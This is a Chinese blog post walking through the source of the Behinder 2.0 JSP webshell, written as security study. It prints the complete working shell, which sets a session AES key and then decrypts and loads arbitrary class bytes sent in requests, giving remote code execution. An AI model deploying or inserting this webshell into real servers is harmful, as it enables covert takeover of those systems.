[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测

最新推荐文章于 2025-03-04 10:34:23 发布

Y4tacker

最新推荐文章于 2025-03-04 10:34:23 发布

阅读量3.6k

点赞数 8

分类专栏：安全学习 # Java代码审计 # 我的JAVA学习之路文章标签： java

本文链接：https://blog.csdn.net/solitudi/article/details/121277038

版权

文章目录

写在前面

大概是最近搞内存马有点累了，今晚顺便看看冰蝎部分源码，简简单单写篇博客休息休息，本着怕第一次看这个工具源码，怕直接看最新的容易不理解，就拿了个2.0版本看着玩吧，谁知道也太简单了：同款源码在rebeyond/Behinder

源码解读

反编译jar包后，其核心代码在net.rebeyond.behinder

Jsp马交互部分源码解读

直接丢出来源码，挺简单的，首先是一个继承ClassLoader的U类，一看defineClass就知道是加载字节码，没得说接下来看下面部分，get请求传入一个pass参数，随机生成一串神秘字符放到sessin里面，
如果没有get传入pass，用post写一串神秘字符，后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getParameter("pass") != null) {
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        session.putValue("u", k);
        out.print(k);
        return;
    }
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>